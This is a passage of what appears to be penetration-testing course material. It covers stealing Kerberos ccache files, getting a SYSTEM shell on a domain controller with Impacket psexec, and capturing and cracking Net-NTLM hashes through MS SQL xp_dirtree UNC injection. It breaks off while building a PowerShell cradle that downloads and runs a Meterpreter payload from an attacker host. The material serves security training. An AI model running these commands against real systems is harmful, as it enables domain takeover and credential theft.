Attacking Using Credential Cache Files

As we turn our attention to attacking ccache files, let's consider two
attack scenarios.

The first scenario is quite simple. If we compromise an active user's
shell session, we can essentially act as the user in question and use
their current Kerberos tickets. Gaining an initial TGT would require
the user's Active Directory password. However, if the user is
already authenticated, we can just use their current tickets.

The second scenario is to authenticate by compromising a user's
ccache file. As we noted earlier, a user's ccache file is stored in
/tmp with a format like /tmp/krb5cc_.
The file is typically only accessible by the owner. Because of this,
it's unlikely that we will be able to steal a user's ccache file as an
unprivileged user.

If we have privileged access and don't want to log in as the user
in question, or we are able to read the user's files but don't have
direct shell access, we can still copy the victim's ccache file and
load it as our own.

Let's explore this in greater detail. First, we'll ssh to the
linuxvictim machine as the offsec user who has sudo permissions. We
can list the ccache files in /tmp with the following command.

offsec@linuxvictim:~$ ls -al /tmp/krb5cc_*
-rw------- 1 offsec                  offsec                 1430 Jul 30 15:17 /tmp/krb5cc_1000
-rw------- 1 administrator@corp1.com domain users@corp1.com 4016 Jul 30 15:11 /tmp/krb5cc_607000500_3aeIA5

Listing 72 - Listing ccache
files in /tmp

We can locate the domain administrator's ccache file by inspecting the
file owners. Let's copy the domain administrator's ccache
file and set the ownership of the new file to our offsec user.

offsec@linuxvictim:~$ sudo cp /tmp/krb5cc_607000500_3aeIA5 /tmp/krb5cc_minenow
[sudo] password for offsec: 

offsec@linuxvictim:~$ sudo chown offsec:offsec /tmp/krb5cc_minenow

offsec@linuxvictim:~$ ls -al /tmp/krb5cc_minenow
-rw------- 1 offsec offsec 4016 Jul 30 15:20 /tmp/krb5cc_minenow

Listing 73 - Copying the ccache
file

In order to use the ccache file, we need to set the KRB5CCNAME
environment variable we discussed earlier. This variable gives the
path of the credential cache file so that Kerberos utilities can find
it. We'll clear our old credentials, set the variable and point it
to our newly-copied ccache file, then list our available tickets with
klist.

offsec@linuxvictim:~$ kdestroy

offsec@linuxvictim:~$ klist
klist: No credentials cache found (filename: /tmp/krb5cc_1000)

offsec@linuxvictim:~$ export KRB5CCNAME=/tmp/krb5cc_minenow

offsec@linuxvictim:~$ klist
Ticket cache: FILE:/tmp/krb5cc_minenow
Default principal: Administrator@CORP1.COM

Valid starting       Expires              Service principal
07/30/2020 15:11:10  07/31/2020 01:11:10  krbtgt/CORP1.COM@CORP1.COM
        renew until 08/06/2020 15:11:08
07/30/2020 15:11:41  07/31/2020 01:11:10  ldap/dc01.corp1.com@CORP1.COM
        renew until 08/06/2020 15:11:08
07/30/2020 15:11:57  07/31/2020 01:11:10  MSSQLSvc/DC01.corp1.com:1433@CORP1.COM
        renew until 08/06/2020 15:11:08

Listing 74 - Setting our ccache
file and listing tickets

Based on the output, we now have the administrator user's TGT in our
credential cache and we can request service tickets on their behalf.

offsec@linuxvictim:~$ kvno MSSQLSvc/DC01.corp1.com:1433
MSSQLSvc/DC01.corp1.com:1433@CORP1.COM: kvno = 2

offsec@linuxvictim:~$ klist
Ticket cache: FILE:/tmp/krb5cc_minenow
Default principal: Administrator@CORP1.COM

Valid starting       Expires              Service principal
07/30/2020 15:11:10  07/31/2020 01:11:10  krbtgt/CORP1.COM@CORP1.COM
        renew until 08/06/2020 15:11:08
07/30/2020 15:11:41  07/31/2020 01:11:10  ldap/dc01.corp1.com@CORP1.COM
        renew until 08/06/2020 15:11:08
07/30/2020 15:11:57  07/31/2020 01:11:10  MSSQLSvc/DC01.corp1.com:1433@CORP1.COM
        renew until 08/06/2020 15:11:08

Listing 75 -
Getting service tickets with our stolen ccache file

Now that we have the user's Kerberos tickets, we can use those tickets
to authenticate to services that are Kerberos-enabled on the user's
behalf. In the next section, we'll discuss using Impacket to do
this.

Using Kerberos with Impacket

Impacket[833] is a set of tools used for low-level manipulation
of network protocols and exploiting network-based utilities. This
toolset can also be used to abuse Kerberos on Linux. Impacket is
available in Kali at /usr/share/doc/python3-impacket/.

One popular module from Impacket is psexec. This module is similar
to Microsoft Sysinternal's psexec utility. It allows us to perform
actions on a remote Windows host.

In order to use Impacket utilities in our lab environment from our
Kali VM, we need to do some initial setup. This will configure our
Kali VM to be able to connect to the Kerberos environment properly.

In the scenario described in this section, we assume that we have
compromised a domain joined host (linuxvictim) and stolen a ccache
file. Rather than perform any lateral movement from the linuxvictim
box, we'll execute our attack directly from our Kali system with
Impacket.

To do so, we'll first need to copy our victim's stolen ccache file to
our Kali VM and set the KRB5CCNAME environment variable as we did
previously on linuxvictim. We can use the same ccache file as the last
example.

kali@kali:~$ scp offsec@linuxvictim:/tmp/krb5cc_minenow /tmp/krb5cc_minenow
offsec@linuxvictim's password: 
krb5cc_minenow                            100% 4016    43.6KB/s   00:00    

kali@kali:~$ export KRB5CCNAME=/tmp/krb5cc_minenow

Listing 76 -
Downloading the ccache file and setting the KRB5CCNAME environment
variable

As before, this will allow us to use the victim's Kerberos tickets as
our own.

We'll then need to install the Kerberos linux client utilities. This
will allow us to perform our ticket manipulation tasks (such as kinit,
etc.) that we performed earlier on our linuxvictim VM, but now from
our Kali VM.

kali@kali:~$ sudo apt install krb5-user
...

Listing 77 - Installing
Kerberos client utilities

When prompted for a kerberos realm, we'll enter "corp1.com". This
lets the Kerberos tools know which domain we're connecting to.

We'll need to add the domain controller IP to our Kali VM to
resolve the domain properly. We can get the IP address of the domain
controller from the linuxvictim VM.

offsec@linuxvictim:~$ host corp1.com
corp1.com has address 192.168.120.5

Listing 78 - Getting the IP
address of the domain controller

Now that the client utilities are installed, the target domain
controller (dc01.corp1.com) and the generic domain (corp1.com) need to
be added to our /etc/hosts file.

127.0.0.1	localhost
192.168.120.40  controller
192.168.120.45  linuxvictim
192.168.120.5 CORP1.COM DC01.CORP1.COM

Listing 79 - Contents of our Kali
VM's /etc/hosts file

This allows Kerberos to properly resolve the domain names for the
domain controller.

In order to use our Kerberos tickets, we will need to have the correct
source IP, which in this case is the compromised linuxvictim host that
is joined to the domain. Because of this, we'll need to setup a SOCKS
proxy on linuxvictim and use proxychains on Kali to pivot through the
domain joined host when interacting with Kerberos.

To do so, we'll need to comment out the line for proxy_dns in
/etc/proxychains.conf to prevent issues with domain name
resolution while using proxychains.

# proxychains.conf  VER 3.1
#
#        HTTP, SOCKS4, SOCKS5 tunneling proxifier with DNS.
#       
...
# Proxy DNS requests - no leak for DNS data
#proxy_dns 
...

Listing 80 - Commented out
proxy_dns line in proxychains configuration

Once these settings are in place, we need to set up a SOCKS server
using ssh on the server we copied the ccache file from, which
in our case is linuxvictim.

kali@kali:~$ ssh offsec@linuxvictim -D 9050
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-20-generic x86_64)
...
offsec@linuxvictim:~$

Listing 81 - Setting up an SSH tunnel

The -D parameter specifies the port we'll be using for
proxychains (defined in /etc/proxychains.conf) in order to
tunnel Kerberos requests.

Impacket has several scripts available that will help us enumerate and
exploit Active Directory. For example, we can examine the list of
domain users with GetADUsers.py.

kali@kali:~$ proxychains python3 /usr/share/doc/python3-impacket/examples/GetADUsers.py -all -k -no-pass -dc-ip 192.168.120.5 CORP1.COM/Administrator
ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation
...
[*] Querying DC01 for information about domain.
Name                  Email                           PasswordLastSet      LastLogon           
--------------------  ------------------------------  -------------------  -------------------
Administrator                                         2020-06-09 07:07:34.259645  2020-07-30 15:18:34.031633 
Guest                                                 <never>              <never>             
krbtgt                                                2020-06-09 07:22:08.937707  <never>             
offsec                                                2020-06-15 07:34:58.841850  <never>             
setup                                                 2020-06-15 07:35:40.209134  2020-06-15 15:24:01.455022 
sqlsvc                                                2020-06-15 07:37:26.049078  2020-07-08 09:21:43.005075 
admin                                                 2020-06-15 07:39:32.340987  2020-07-29 18:26:00.427117 
jeff                                                  2020-06-15 07:40:06.571361  2020-06-15 15:23:15.203875 
dave                                                  2020-06-15 07:40:59.512944  2020-07-30 09:27:53.384254 

Listing 82 - Listing Active
Directory users

The output contains a list of the domain users, highlighted above.

It's also possible to get a list of the SPNs available to our Kerberos
user.

kali@kali:~$ proxychains python3 /usr/share/doc/python3-impacket/examples/GetUserSPNs.py -k -no-pass -dc-ip 192.168.120.5 CORP1.COM/Administrator
ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation
...
ServicePrincipalName                    Name    MemberOf                                      PasswordLastSet             LastLogon                   Delegation 
--------------------------------------  ------  --------------------------------------------  --------------------------  --------------------------  ----------
MSSQLSvc/appsrv01.corp1.com:1433        sqlsvc  CN=Administrators,CN=Builtin,DC=corp1,DC=com  2020-06-15 07:37:26.049078  2020-07-08 09:21:43.005075             
MSSQLSvc/appsrv01.corp1.com:SQLEXPRESS  sqlsvc  CN=Administrators,CN=Builtin,DC=corp1,DC=com  2020-06-15 07:37:26.049078  2020-07-08 09:21:43.005075             
MSSQLSvc/dc01.corp1.com:1433            sqlsvc  CN=Administrators,CN=Builtin,DC=corp1,DC=com  2020-06-15 07:37:26.049078  2020-07-08 09:21:43.005075             
MSSQLSvc/dc01.corp1.com:SQLEXPRESS      sqlsvc  CN=Administrators,CN=Builtin,DC=corp1,DC=com  2020-06-15 07:37:26.049078  2020-07-08 09:21:43.005075  

Listing 83 - Gathering SPNs for
our Kerberos user

This time the output contains the list of SPNs available.

If we want to gain a shell on the server, we can then run psexec
with the following command.

kali@kali:~$ proxychains python3 /usr/share/doc/python3-impacket/examples/psexec.py Administrator@DC01.CORP1.COM -k -no-pass
ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
...
[*] Requesting shares on DC01.CORP1.COM.....
[*] Found writable share ADMIN$
[*] Uploading file tDwixbpM.exe
[*] Opening SVCManager on DC01.CORP1.COM.....
[*] Creating service cEiR on DC01.CORP1.COM.....
[*] Starting service cEiR.....
...
[!] Press help for extra shell commands
...
Microsoft Windows [Version 10.0.17763.1282]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32>

Listing 84 - Getting a shell with psexec

Using Impacket's psexec module and our stolen Kerberos tickets, we are
now SYSTEM on the domain controller and can do whatever we please.

As we've demonstrated, Kerberos functionality on Linux can provide
an excellent attack vector for compromising a domain and moving
laterally within the network. Knowing how Linux handles Kerberos
authentication and how to exploit it can make a significant difference
in a penetration test.

Exercises

  1. As root, steal the domain administrator's ccache file and use it.
  2. Use Impacket to enumerate the AD user's SPNs and get a shell on the
    domain controller.

Extra Mile

In addition to the attacks covered here, it's also possible to combine
techniques involving both Windows and Linux boxes.

Log in to the Windows 10 client as the domain administrator user
"administrator", which will generate a TGT in memory. Next, create a
reverse shell and use that to export the TGT back to your Kali machine.
Transform the TGT into a ccache format.

To simulate a firewalled network, use Impacket to pass the ticket
to the domain controller. Try pivoting through the Windows 10 client to
obtain a reverse shell.

Wrapping Up

In this module, we discussed a series of attacks focused on lateral
movement in Linux.

We covered several topics around SSH such as stealing keys, cracking
passphrases, and hijacking sessions. We also discussed DevOps
technologies such as Ansible and Artifactory. Finally, we covered the
use of Kerberos on Linux and how to exploit it.

Microsoft SQL Attacks

Regardless of their size or type, all organizations inevitably use
databases both for data analysis and application data storage. Because
they are so ubiquitous, and often contain high value data, databases
are excellent targets during a penetration test.

In this module, we will focus on Microsoft SQL (MS SQL) and how it can
be leveraged during a penetration test to compromise Windows servers
and obtain additional access within an organization. Our focus will be
exclusively on MS SQL because it is typically integrated with Active
Directory. Nevertheless, the concepts used in this module may also be
applicable to SQL databases from other vendors.

We are going to investigate a variety of MS SQL attack vectors such
as enumeration, authentication, privilege escalation, and remote code
execution.

MS SQL in Active Directory

Let's begin with some of the fundamentals. First, we'll discuss how to
perform enumeration against MS SQL in an Active Directory environment.
We'll start with the assumption that we have already compromised a
workstation or server and have access as an unprivileged domain user.

Second, we'll discuss Microsoft SQL authentication. We want to
understand what kind of access an unprivileged domain user has to a
Kerberos-integrated MS SQL server.

Finally, we are going to combine this knowledge with traditional
network attacks and compromise the operating system of the SQL server.

MS SQL Enumeration

The traditional way to locate instances of SQL servers is through
network scans with tools such as Nmap.[834] MS SQL commonly operates
on TCP port 1433, so a scan can be relatively quick. A broader port
scan would reveal non-default ports that are in use, as is the case
with named instances of MS SQL.[835]

When a MS SQL server is running in the context of an Active Directory
service account, it is normally associated with a Service Principal
Name
(SPN).[716-1] The SPN is stored in the Active Directory and
links the service account to the SQL server and its associated Windows
server.

Therefore, a more discreet way of locating instances of MS SQL in an
Active Directory environment is to query the domain controller for all
registered SPNs related to MS SQL.

If we have compromised a domain-joined workstation in the context
of a domain user, we can query the domain controller with the native
setspn[836] tool. To simulate this, we log in to the Windows
10 client machine as the Offsec domain user. From a command prompt,
we invoke setspn as given in Listing 1,
specifying the domain with -T and a wildcard SPN with the
-Q flag.

C:\Tools> setspn -T corp1 -Q MSSQLSvc/*
Checking domain DC=corp1,DC=com
CN=SQLSvc,OU=Corp1ServiceAccounts,OU=Corp1Users,DC=corp1,DC=com
        MSSQLSvc/appsrv01.corp1.com:1433
        MSSQLSvc/appsrv01.corp1.com:SQLEXPRESS
        MSSQLSvc/DC01.corp1.com:1433
        MSSQLSvc/DC01.corp1.com:SQLEXPRESS

Existing SPN found!

Listing 1 - Enumerating Microsoft SQL with setspn

From the output in Listing 1, we find two MS SQL
instances in the domain with registered SPNs running on dc01 and
appsrv01.

In the real world, a domain controller would not host a
SQL server, but the lab is structured this way for efficiency
reasons.

It's also possible to get the same information through the .NET
framework by using a PowerShell script or C# assembly. One
such public example is the GetUsersSPNs.ps1 PowerShell
script,[837] which is located in the C:\Tools
folder on the Windows 10 client machine.

Running the script gives similar output to what we found with setspn:

PS C:\Tools> . .\GetUserSPNs.ps1

ServicePrincipalName : kadmin/changepw
Name                 : krbtgt
SAMAccountName       : krbtgt
MemberOf             : CN=Denied RODC Password Replication Group,CN=Users,DC=corp1,DC=com
PasswordLastSet      : 11/13/2019 5:34:03 AM

ServicePrincipalName : MSSQLSvc/appsrv01.corp1.com:1433
Name                 : SQLSvc
SAMAccountName       : SQLSvc
MemberOf             : CN=Administrators,CN=Builtin,DC=corp1,DC=com
PasswordLastSet      : 3/21/2020 11:49:25 AM

ServicePrincipalName : MSSQLSvc/appsrv01.corp1.com:SQLEXPRESS
Name                 : SQLSvc
SAMAccountName       : SQLSvc
MemberOf             : CN=Administrators,CN=Builtin,DC=corp1,DC=com
PasswordLastSet      : 3/21/2020 11:49:25 AM

ServicePrincipalName : MSSQLSvc/DC01.corp1.com:1433
Name                 : SQLSvc
SAMAccountName       : SQLSvc
MemberOf             : CN=Administrators,CN=Builtin,DC=corp1,DC=com
PasswordLastSet      : 3/21/2020 11:49:25 AM

ServicePrincipalName : MSSQLSvc/DC01.corp1.com:SQLEXPRESS
Name                 : SQLSvc
SAMAccountName       : SQLSvc
MemberOf             : CN=Administrators,CN=Builtin,DC=corp1,DC=com
PasswordLastSet      : 3/21/2020 11:49:25 AM

Listing 2 - Enumerating Microsoft SQL with GetUsersSPN

The output from setspn and GetUserSPNs provides us with information
about the hostname and TCP port for Kerberos-integrated MS SQL servers
across the entire domain.

We also obtain information about the service account context under
which the SQL servers are running. In this case, both servers execute
in the context of the SQLSvc domain account, which is a member of
built-in Administrators group. This means that the service account is
a local administrator on both of the Windows servers where it's used.

This information will be useful as we move forward with our attacks.

Exercise

  1. Perform enumeration through SPNs to locate MS SQL databases in the
    domain.

MS SQL Authentication

Now that we've gathered basic information about the location of our
target SQL servers, the next step is to understand how Microsoft SQL
authentication works, especially when it's integrated with Active
Directory.

Authentication in MS SQL is implemented in two stages. First, a
traditional login is required. This can be either an SQL server login
or we can use Windows account-based authentication.[838] SQL
server login is performed with local accounts on each individual
SQL server. Windows authentication on the other hand, works through
Kerberos and allows any domain user to authenticate with a Ticket
Granting Service
(TGS) ticket.

The second stage happens after a successful login. In this stage, the
login is mapped to a database user account.

As an example, we may perform a login with the built-in SQL server
sa account, which will map to the dbo[839] user account. If
we perform a login with an account that has no associated SQL user
account, it will automatically be mapped to the built-in guest user
account.

We've covered logins and user accounts, but we also need to cover the
concept of SQL roles.[840] A login such as sa, which is mapped to
the dbo user, will have the sysadmin role. This essentially makes
it an administrator of the SQL server. On the other hand, a login that
is mapped to the guest user will get the public role.

In a typical SQL injection attack, we obtain the ability to
execute SQL queries in the context of a specific SQL user account that
has been given some role memberships.

If Windows authentication is enabled, which is typically the case
when the SQL server is integrated with Active Directory, we can
authenticate through Kerberos, meaning we do not need to specify a
password.

To test this, we are going to create a C# console application that
performs authentication against the SQL server running on dc01. Then
we'll attempt to execute some basic SQL enumeration queries.

First, we open Visual Studio on the Windows 10 client machine in
the context of the Offsec domain user and create a new C# console
application called SQL.

To create a connection to an MS SQL server, we use the
SqlConnection[841] class from the System.Data.SqlClient
namespace. The constructor for SqlConnection requires a
ConnectionString[842] as an argument. The ConnectionString
consists of several parts.

The most important parts are the hostname of the server and the
database name. In our case, we will connect to the database server on
dc01.corp1.com. Since we don't know anything about the database server
structure, we need to select a database name that always exists. The
default database in MS SQL is called "master".

Lastly, we must specify either the login and password or choose
Windows Authentication with the "Integrated Security = True" setting.

We need to specify all three parts of the connection string, which are
separated by semicolons as shown in Listing 3.

using System;
using System.Data.SqlClient;

namespace SQL
{
    class Program
    {
        static void Main(string[] args)
        {
            String sqlServer = "dc01.corp1.com";
            String database = "master";

            String conString = "Server = " + sqlServer + "; Database = " + database + "; Integrated Security = True;";
            SqlConnection con = new SqlConnection(conString);
        }
    }
}            

Listing 3 - SqlConnection object instantiation

Once the SqlConnection object has been created, we use the
Open[843] method to initiate the connection.

If the connection attempt fails, an exception will occur. To handle
this, we'll wrap it in a try-catch clause as shown in Listing
4.

...
            SqlConnection con = new SqlConnection(conString);

            try
            {
              con.Open();
              Console.WriteLine("Auth success!");
            }
            catch
            {
              Console.WriteLine("Auth failed");
              Environment.Exit(0);
            }

            con.Close();
        }
...

Listing 4 - Opening SQL connection

If the connection is successful, we report it with a message to the
console and subsequently close the connection. Otherwise, we'll report
that and then exit the application.

To test this code, we select Release and x64, and then compile it.
Once compiled, we execute Sql.exe from the Windows 10 client
machine as the Offsec user.

PS C:\Tools> \\192.168.119.120\visualstudio\Sql\Sql\bin\Release\Sql.exe
Auth success!

Listing 5 - Authentication is successful

According to the output, we have access to the database.

This type of access is often possible on MS SQL because the
Builtin\Users group has access by default, and the Domain Users
group is a member of Builtin\Users. Since any domain account is a
member of the Domain Users group, we automatically have access.

Note that we do not need any credentials since the authentication
relies on the Kerberos protocol. To complete this exercise, let's
disclose the SQL login we used along with the SQL user we are mapped
to. In addition, we want to check which SQL server roles are available
to us.

We will start with the SQL login. Once we have the code for that,
the additional information will follow a similar coding pattern.
The SYSTEM_USER[844] SQL variable contains the name of the
SQL login for the current session. If we can execute the SQL command
"SELECT SYSTEM_USER;", we should get the SQL login.

To execute an arbitrary SQL query from C# while also obtaining the
result of that query, we can use the SqlCommand class.[845]
Instantiating an object from this class requires two arguments: the
SQL query and the open connection to the SQL server.

Since we are already able to open a connection to the SQL server with
our previous code, we can append the following code.

...
              Environment.Exit(0);
            }

            String querylogin = "SELECT SYSTEM_USER;";
            SqlCommand command = new SqlCommand(querylogin, con);
            SqlDataReader reader = command.ExecuteReader();

            con.Close();
        }
...

Listing 6 - Creating SqlCommand object

Note that both SQL queries and C# statements always terminate with a
semicolon.

To execute the SQL query, we invoke the ExecuteReader[846]
method, which forwards it to the SQL server and returns a
SqlDataReader[847] object.

Before we can gain access to the desired data, we must call the
Read[848] method, which returns the result of the query.

The code required to execute this is shown in Listing
7.

...
            SqlDataReader reader = command.ExecuteReader();
            reader.Read();
            Console.WriteLine("Logged in as: " + reader[0]);
            reader.Close();

            con.Close();
...

Listing 7 - Executing the SQL query with SqlDataReader

After we have fetched the results of the SQL query, we can access them
from the SqlDataReader object using indexing,[849] where the
array index specifies the zero-based column ordinal in the retrieved
data row.

Next we print the result to the console. It's important to invoke the
Close[850] method on the SqlDataReader object to allow
subsequent SQL queries to be executed. If we don't, the SQL connection
will be blocked.

Once we have obtained our login, we want to determine the username
it is mapped to. We'll do this with the USER_NAME()[851]
function. This is very similar to what we did with SYSTEM_USER.

Finally, the IS_SRVROLEMEMBER[852] function can be used to
determine if a specific login is a member of a server role.

The IS_SRVROLEMEMBER function accepts the name of the role and
returns a boolean value. An implementation that determines whether
our login is a member of the public role is shown in Listing
8.

...
            reader.Close();

            String querypublicrole = "SELECT IS_SRVROLEMEMBER('public');";
            command = new SqlCommand(querypublicrole, con);
            reader = command.ExecuteReader();
            reader.Read();
            Int32 role = Int32.Parse(reader[0].ToString());
            if(role == 1)
            {
              Console.WriteLine("User is a member of public role");
            }
            else
            {
              Console.WriteLine("User is NOT a member of public role");
            }
            reader.Close();

            con.Close();
...

Listing 8 - Finding role membership

We can use a similar method to discover any other role memberships.

Listing 9 shows the result of our application
after it checks the SQL login, the username, and for membership of the
public and sysadmin roles.

PS C:\Tools> \\192.168.119.120\visualstudio\Sql\Sql\bin\Release\Sql.exe
Auth success!
Logged in as: corp1\offsec
Mapped to the user: guest
User is a member of public role
User is NOT a member of sysadmin role

Listing 9 - Login, user name and role memberships

From the output of our console application, we note that we logged
in with our domain account, which is mapped to the guest user
account. Additionally, we have the public role, but not sysadmin role
membership.

While this is a low privilege access, it's important to note that we
have access to the database and can execute SQL commands, all without
requiring the password of our current user.

In the rest of this module, we are going to expand our access
beyond the database instance to the underlying operating system and
additional servers.

Exercises

  1. Execute the code to authenticate to the SQL server on dc01 as shown
    in this section.
  2. Complete the C# implementation that fetches the SQL login,
    username, and role memberships.

UNC Path Injection

In this section, we are going to examine an attack that can
quickly lead to code execution on other SQL servers present in the
environment.

The premise of the attack is rather simple. If we can force an SQL
server to connect to an SMB share we control, the connection will
include authentication data. More specifically, NTLM authentication
will take place and we should be able to capture the hash of the user
account under whose context the SQL server is running. We can then
either try to crack the hash or use it in relaying attacks.

This attack consists of a number of steps. We will cover each of these
while also discussing the required theory.

We are going to start by forcing the SQL server to perform a
connection request to a SMB share on our Kali machine. To do that, we
can use the undocumented xp_dirtree[853] SQL procedure, which
lists all files in a given folder. More importantly, the procedure can
accept a SMB share as a target, rather than just local file paths.

If we use our unprivileged access in the database to execute the
xp_dirtree procedure, the service account of the SQL server
will attempt to list the contents of a given SMB share. A SMB
share is typically supplied with a Universal Naming Convention
(UNC)[854] path, which has the following format.

\\hostname\folder\file

Listing 10 - UNC path format

If the hostname is given as an IP address, Windows will
automatically revert to NTLM authentication instead of Kerberos
authentication.[855]

We are now ready to create a C# console app that performs
authentication to the SQL server on dc01 with the unprivileged login
and then issues a SQL query that executes the xp_dirtree procedure.

The authentication portion of the code is the same as in our previous
proof of concept. We'll use the ExecuteReader method again and pass
the query to the SQL server.

using System;
using System.Data.SqlClient;

namespace SQL
{
    class Program
    {
        static void Main(string[] args)
        {
            String sqlServer = "dc01.corp1.com";
            String database = "master";

            String conString = "Server = " + sqlServer + "; Database = " + database + "; Integrated Security = True;";
            SqlConnection con = new SqlConnection(conString);
           
            try
            {
                con.Open();
                Console.WriteLine("Auth success!");
            }
            catch
            {
                Console.WriteLine("Auth failed");
                Environment.Exit(0);
            }

            String query = "EXEC master..xp_dirtree \"\\\\192.168.119.120\\\\test\";";
            SqlCommand command = new SqlCommand(query, con);
            SqlDataReader reader = command.ExecuteReader();
            reader.Close();
            
            con.Close();
        }
    }
}

Listing 11 - C# code to execute xp_dirtree procedure

The SQL query to invoke xp_dirtree contains a number of
backslashes, both to escape the double quote required by the SQL
query and to escape the backslashes in the UNC path as required by C#
strings.

Many other SQL procedures can be used to initiate the connection
if xp_dirtree has been removed for security reasons.[856]

Now we must set up a SMB share that will initiate NTLM authentication
when the SQL service account performs the connection. An easy way to
do this is by using Responder,[857] which comes pre-installed
on Kali.

We'll need to shut down the Samba share used with Visual Studio
before starting Responder. Once that is done, we can launch
responder and specify the VPN connection network interface
(-I).

kali@kali:~$ sudo responder -I tap0
                                         
...

[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    DNS/MDNS                   [ON]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
...

[+] Listening for events...

Listing 12 - Running Responder with default options

With Responder running, we are ready to start the attack.

We run the C# console application from the Windows 10 client, which
initiates the SMB connection against our Kali machine. Within moments,
we obtain the output displayed in Listing 13.

[SMB] NTLMv2-SSP Client   : 192.168.120.5
[SMB] NTLMv2-SSP Username : corp1\SQLSvc
[SMB] NTLMv2-SSP Hash     : SQLSvc::corp1:00031db3ed40602b:A05501E7450025CF27120CE89BAF1C6E:0101000000000000C0653150DE09D201F361A5C346497213000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D20106000400020000000800300030000000000000000000000000300000F0C0485B788E50568F693E83CCD6953981AFB24CAFC525AC27F6B099E5685FA20A001000000000000000000000000000000000000900240063006900660073002F003100390032002E003100360038002E003100310038002E003900000000000000000000000000                                         
[*] Skipping previously captured hash for corp1\SQLSvc

Listing 13 - Obtaining Net-NTLM hash from dc01

The hash obtained by Responder is called a Net-NTLM[858] hash
or sometimes NTLMv2. Before we continue, let's quickly review the
difference between NTLM and Net-NTLM.

As covered in a previous module, Windows user account passwords are
stored locally as NTLM hashes. When authentication with the NTLM
protocol takes place over the network, a challenge and response is
created based on the NTLM hash. The resulting hash is called Net-NTLM
and it represents the same clear text password as the NTLM hash.

A Net-NTLM hash based on a weak password can be cracked and reveal the
clear text password, just like with a NTLM hash.

In this example, we attempt to crack the hash with
hashcat[787-1] by copying the hash into a file
(hash.txt). We then specify the Net-NTLM hash type with the
-m option along with a dictionary file.

kali@kali:~$ hashcat -m 5600 hash.txt dict.txt --force
hashcat (v5.1.0) starting...
...

SQLSVC::corp1:00031db3ed40602b:a05501e7450025cf27120ce89baf1c6e:0101000000000000c0653150de09d201f361a5c346497213000000000200080053004d004200330001001e00570049004e002d00500052004800340039003200520051004100460056000400140053004d00420033002e006c006f00630061006c0003003400570049004e002d00500052004800340039003200520051004100460056002e0053004d00420033002e006c006f00630061006c000500140053004d00420033002e006c006f00630061006c0007000800c0653150de09d20106000400020000000800300030000000000000000000000000300000f0c0485b788e50568f693e83ccd6953981afb24cafc525ac27f6b099e5685fa20a001000000000000000000000000000000000000900240063006900660073002f003100390032002e003100360038002e003100310038002e003900000000000000000000000000:lab
                                                 
Session..........: hashcat
Status...........: Cracked
Hash.Type........: NetNTLMv2
Hash.Target......: SQLSVC::corp1:00031db3ed40602b:a05501e7450025cf2712...000000
...

Listing 14 - Cracking the Net-NTLM hash with Hashcat

This reveals the password "lab" for the SQLSVC service account.
Since SQLSVC is a local administrator on both dc01 and appsrv01, we
now have access to both of them.

Hashcat is meant to be run on a physical machine to take
advantage of powerful GPUs. In the example above, we had to supply the
--force flag because we ran it inside a VM and no physical
hardware was detected by Hashcat. It's also possible to use John the
Ripper
[859] to crack the hash instead.

If weak passwords are used for SQL service accounts, this can be a
quick way to compromise the operating system. In the next section, we
are going to examine a variant of this attack that will not require
the Net-NTLM hash to be cracked.

Exercises

  1. Create the C# code that will trigger a connection to a SMB share.
  2. Capture the Net-NTLM hash with Responder.
  3. Crack the password hash for SQLSVC and gain access to appsrv01
    and dc01.

Relay My Hash

In the previous section, we forced the SQL service account to connect
to our SMB share and capture the Net-NTLM hash. We were lucky that the
service account used a weak password, which allows us to crack it.

Now we are going to discuss a technique that will yield code execution
on the operating system of the SQL server without requiring us to
crack the hash.

If we have captured the NTLM hash of a domain user that is a local
administrator on a remote machine, we can perform a pass-the-hash
attack and gain remote code execution.

However, the Net-NTLM hash cannot be used in a pass-the-hash attack,
but we can relay it to a different computer. If the user is a local
administrator on the target, we can obtain code execution.

It's not possible to relay a Net-NTLM hash back to the origin
computer using the same protocol as this was blocked by Microsoft in
2008.

It is important to note that Net-NTLM relaying against SMB is only
possible if SMB signing[860] is not enabled. SMB signing is only
enabled by default on domain controllers.

In our enumeration exercise, we found that the service account used
with the SQL server is used on both dc01 and appsrv01 and that it's
a local administrator on both systems. This means we can relay the
Net-NTLM hash from dc01 to appsrv01.

To perform this attack, we are going to use the Impacket[833-1]
ntlmrelayx tool. This tool forces the same type of NTLM
authentication as Responder, but relays the authentication to a
different host and allows us to execute arbitrary commands against it.

To install Impacket, we will use the python3-impacket package in
Kali.

kali@kali:~$ sudo apt install python3-impacket
[sudo] password for kali: 
Reading package lists... Done
Building dependency tree       
Reading state information... Done
...

Listing 15 - Installing Impacket

With Impacket installed, we can continue with the attack.

We are going to use our previously-developed PowerShell runner
to execute a Meterpreter staged payload. We'll generate a staged
Meterpreter payload that connects back on TCP port 443 and embed that
in our runner (run.txt), which we can host with Apache on TCP
port 80.

When we invoke ntlmrelayx, we must supply the PowerShell download
cradle on the command line. Because of the syntax, it is a good idea to
base64 encode it. To do this on Kali, we can quickly install
PowerShell as shown in Listing 16.

kali@kali:~$ sudo apt -y install powershell
[sudo] password for kali: 
Reading package lists... Done
Building dependency tree       
Reading state information... Done
...

Listing 16 - Installing PowerShell in Kali

Next, we start PowerShell with the pwsh command and base64
encode the download cradle.

kali@kali:~$ pwsh
PowerShell 7.0.0
Copyright (c) Microsoft Corporation. All rights reserved.

https://aka.ms/powershell
Type 'help' to get help.

PS /home/kali> $text = "(New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/run.txt') | IEX"
PS /home/kali> $bytes = [System.Text.Encoding]::Unicode.GetBytes($text)
